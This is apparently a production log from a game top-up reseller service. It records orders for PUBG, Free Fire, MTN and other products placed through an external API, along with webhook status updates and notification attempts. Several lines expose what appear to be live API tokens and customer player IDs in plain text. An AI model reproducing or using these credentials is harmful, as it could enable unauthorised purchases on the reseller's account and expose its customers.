[2026-03-24 14:34:05] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 14:34:05] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"count":2} 
[2026-03-24 14:34:05] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"count":2} 
[2026-03-24 14:34:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"user_id":1299,"notification_type":"order_approved","reference_id":178751} 
[2026-03-24 14:34:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"user_id":366,"notification_type":"order_approved","reference_id":178749} 
[2026-03-24 14:34:05] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:34:05] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:34:05] production.INFO: Batch update completed {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"processed":2,"errors":0} 
[2026-03-24 14:34:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"processed":2,"errors":0} 
[2026-03-24 14:34:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670} 
[2026-03-24 14:34:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1299  
[2026-03-24 14:34:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 14:34:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DSZwKmb-1774352029","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:34:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-DSZwKmb-1774352029","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:34:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:34:08] production.INFO: SendAcceptReject: Notification queued {"user_id":530,"notification_type":"order_approved","reference_id":178752} 
[2026-03-24 14:34:08] production.INFO: Order updated successfully. Order ID: 178752, Status: completed  
[2026-03-24 14:34:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DSZwKmb-1774352029","status":"completed","codes_count":0} 
[2026-03-24 14:34:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 530  
[2026-03-24 14:34:17] production.INFO: Constructing job for order: 178753  
[2026-03-24 14:34:20] production.INFO: Handling job for order: 178753  
[2026-03-24 14:34:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:34:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:34:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=f0c32e0b-90ca-4ebf-9378-090cbdc61aa6&Player_ID=0959164981  
[2026-03-24 14:34:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=f0c32e0b-90ca-4ebf-9378-090cbdc61aa6&Player_ID=0959164981","has_body":false} 
[2026-03-24 14:34:20] production.INFO: Operation sent successfully {"operation_id":163674,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YnuQ-1774352060","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:34:20"}},"processed_data":{"order_number":"ORD-YnuQ-1774352060","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:35:02] production.INFO: Constructing job for order: 178754  
[2026-03-24 14:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:35:04] production.INFO: async() رجع: true  
[2026-03-24 14:35:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:35:06] production.INFO: Handling job for order: 178754  
[2026-03-24 14:35:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:35:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:35:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=95f037a8-5a53-4f79-908e-e32b129f7a9a&Player_ID=51772004702  
[2026-03-24 14:35:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=95f037a8-5a53-4f79-908e-e32b129f7a9a&Player_ID=51772004702","has_body":false} 
[2026-03-24 14:35:07] production.INFO: Operation sent successfully {"operation_id":163675,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-sfrHZ-1774352106","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:35:07"}},"processed_data":{"order_number":"ORD-sfrHZ-1774352106","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:35:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-sfrHZ-1774352106","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:35:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-sfrHZ-1774352106","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:35:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:35:20] production.INFO: SendAcceptReject: Notification queued {"user_id":530,"notification_type":"order_approved","reference_id":178754} 
[2026-03-24 14:35:20] production.INFO: Order updated successfully. Order ID: 178754, Status: completed  
[2026-03-24 14:35:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-sfrHZ-1774352106","status":"completed","codes_count":0} 
[2026-03-24 14:35:21] production.INFO: Constructing job for order: 178755  
[2026-03-24 14:35:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 530  
[2026-03-24 14:35:22] production.INFO: Handling job for order: 178755  
[2026-03-24 14:35:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:35:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:35:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=7f47c91c-3e94-402f-8384-8f7fe317cd2f&Player_ID=1337921972  
[2026-03-24 14:35:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=7f47c91c-3e94-402f-8384-8f7fe317cd2f&Player_ID=1337921972","has_body":false} 
[2026-03-24 14:35:23] production.INFO: Operation sent successfully {"operation_id":163676,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HR6u7F-1774352122","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 14:35:23"}},"processed_data":{"order_number":"ORD-HR6u7F-1774352122","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 14:35:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HR6u7F-1774352122","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:35:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-HR6u7F-1774352122","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:35:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:35:29] production.INFO: SendAcceptReject: Notification queued {"user_id":225,"notification_type":"order_approved","reference_id":178755} 
[2026-03-24 14:35:29] production.INFO: Order updated successfully. Order ID: 178755, Status: completed  
[2026-03-24 14:35:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HR6u7F-1774352122","status":"completed","codes_count":0} 
[2026-03-24 14:35:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 14:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02"} 
[2026-03-24 14:36:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","total_operations":2,"sites_count":2} 
[2026-03-24 14:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 14:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 14:36:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"orders_count":1,"order_ids":["ORD-YnuQ-1774352060"]} 
[2026-03-24 14:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"orders_count":1} 
[2026-03-24 14:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 14:36:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:36:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"count":1} 
[2026-03-24 14:36:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"count":1} 
[2026-03-24 14:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"user_id":1299,"notification_type":"order_approved","reference_id":178753} 
[2026-03-24 14:36:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:36:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:36:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"processed":1,"errors":0} 
[2026-03-24 14:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674,"processed":1,"errors":0} 
[2026-03-24 14:36:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3XayoFIykTW4LuTkJOHjXXiObv0OJlfA","execution_time":"2026-03-24 14:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YnuQ-1774352060","operation_id":163674} 
[2026-03-24 14:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1299  
[2026-03-24 14:36:46] production.INFO: Constructing job for order: 178756  
[2026-03-24 14:36:47] production.INFO: Handling job for order: 178756  
[2026-03-24 14:36:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:36:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:36:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=85e8f272-fd46-490c-85e4-14d5f16a4017&Player_ID=14465506252  
[2026-03-24 14:36:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=85e8f272-fd46-490c-85e4-14d5f16a4017&Player_ID=14465506252","has_body":false} 
[2026-03-24 14:36:48] production.INFO: Operation sent successfully {"operation_id":163677,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ohj09I-1774352207","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:36:48"}},"processed_data":{"order_number":"ORD-Ohj09I-1774352207","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:36:54] production.INFO: Constructing job for order: 178757  
[2026-03-24 14:36:57] production.INFO: Handling job for order: 178757  
[2026-03-24 14:36:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:36:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:36:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=8432f41d-6a09-4dfd-aecf-8141e59c6601&Player_ID=14465506252  
[2026-03-24 14:36:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=8432f41d-6a09-4dfd-aecf-8141e59c6601&Player_ID=14465506252","has_body":false} 
[2026-03-24 14:36:58] production.INFO: Operation sent successfully {"operation_id":163678,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DRFet-1774352217","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:36:58"}},"processed_data":{"order_number":"ORD-DRFet-1774352217","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:37:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ohj09I-1774352207","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:37:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ohj09I-1774352207","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:37:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:37:11] production.INFO: SendAcceptReject: Notification queued {"user_id":280,"notification_type":"order_approved","reference_id":178756} 
[2026-03-24 14:37:11] production.INFO: Order updated successfully. Order ID: 178756, Status: completed  
[2026-03-24 14:37:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ohj09I-1774352207","status":"completed","codes_count":0} 
[2026-03-24 14:37:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 280  
[2026-03-24 14:37:25] production.INFO: Constructing job for order: 178758  
[2026-03-24 14:37:25] production.INFO: Constructing job for order: 178759  
[2026-03-24 14:37:28] production.INFO: Handling job for order: 178759  
[2026-03-24 14:37:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:37:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:37:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=13af58fd-ae41-4164-aa51-39aafd5baee6&Player_ID=52387556166  
[2026-03-24 14:37:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=13af58fd-ae41-4164-aa51-39aafd5baee6&Player_ID=52387556166","has_body":false} 
[2026-03-24 14:37:29] production.INFO: Operation sent successfully {"operation_id":163679,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gcWAH-1774352248","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:37:29"}},"processed_data":{"order_number":"ORD-gcWAH-1774352248","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:37:29] production.INFO: Handling job for order: 178758  
[2026-03-24 14:37:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:37:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:37:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=317e6b36-7b88-40fb-b958-88cdd9dd9483&Player_ID=12963603589  
[2026-03-24 14:37:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=317e6b36-7b88-40fb-b958-88cdd9dd9483&Player_ID=12963603589","has_body":false} 
[2026-03-24 14:37:29] production.INFO: Operation sent successfully {"operation_id":163680,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fBf6ZGE2-1774352249","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:37:29"}},"processed_data":{"order_number":"ORD-fBf6ZGE2-1774352249","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:37:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DRFet-1774352217","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:37:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-DRFet-1774352217","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:37:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:37:32] production.INFO: SendAcceptReject: Notification queued {"user_id":280,"notification_type":"order_approved","reference_id":178757} 
[2026-03-24 14:37:32] production.INFO: Order updated successfully. Order ID: 178757, Status: completed  
[2026-03-24 14:37:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DRFet-1774352217","status":"completed","codes_count":0} 
[2026-03-24 14:37:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 280  
[2026-03-24 14:37:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gcWAH-1774352248","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:37:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-gcWAH-1774352248","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:37:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:37:41] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":178759} 
[2026-03-24 14:37:41] production.INFO: Order updated successfully. Order ID: 178759, Status: completed  
[2026-03-24 14:37:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gcWAH-1774352248","status":"completed","codes_count":0} 
[2026-03-24 14:37:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 14:37:46] production.INFO: Constructing job for order: 178760  
[2026-03-24 14:37:47] production.INFO: Handling job for order: 178760  
[2026-03-24 14:37:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:37:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:37:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=52bc727a-380d-4282-8a93-484583049e1d&Player_ID=13983483691  
[2026-03-24 14:37:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=52bc727a-380d-4282-8a93-484583049e1d&Player_ID=13983483691","has_body":false} 
[2026-03-24 14:37:49] production.INFO: Operation sent successfully {"operation_id":163681,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NtNhq1-1774352268","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:37:49"}},"processed_data":{"order_number":"ORD-NtNhq1-1774352268","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:37:52] production.INFO: Constructing job for order: 178761  
[2026-03-24 14:37:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fBf6ZGE2-1774352249","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:37:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-fBf6ZGE2-1774352249","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:37:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:37:53] production.INFO: SendAcceptReject: Notification queued {"user_id":940,"notification_type":"order_approved","reference_id":178758} 
[2026-03-24 14:37:53] production.INFO: Order updated successfully. Order ID: 178758, Status: completed  
[2026-03-24 14:37:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fBf6ZGE2-1774352249","status":"completed","codes_count":0} 
[2026-03-24 14:37:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 940  
[2026-03-24 14:37:55] production.INFO: Handling job for order: 178761  
[2026-03-24 14:37:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:37:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:37:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/570/params?qty=10000&uuid=bdc86950-02a6-4212-82d3-7e5229429fb0&Player_ID=11348206  
[2026-03-24 14:37:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/570/params?qty=10000&uuid=bdc86950-02a6-4212-82d3-7e5229429fb0&Player_ID=11348206","has_body":false} 
[2026-03-24 14:37:56] production.INFO: Operation sent successfully {"operation_id":163682,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-02K1dcVb-1774352275","amount":2.22162900000000007594280759803950786590576171875,"status":"processing","product":"Layla Amount","game":"Layila","notes":[],"created_at":"2026-03-24 14:37:56"}},"processed_data":{"order_number":"ORD-02K1dcVb-1774352275","amount":2.22162900000000007594280759803950786590576171875,"status":"processing","product":"Layla Amount","game":"Layila"}} 
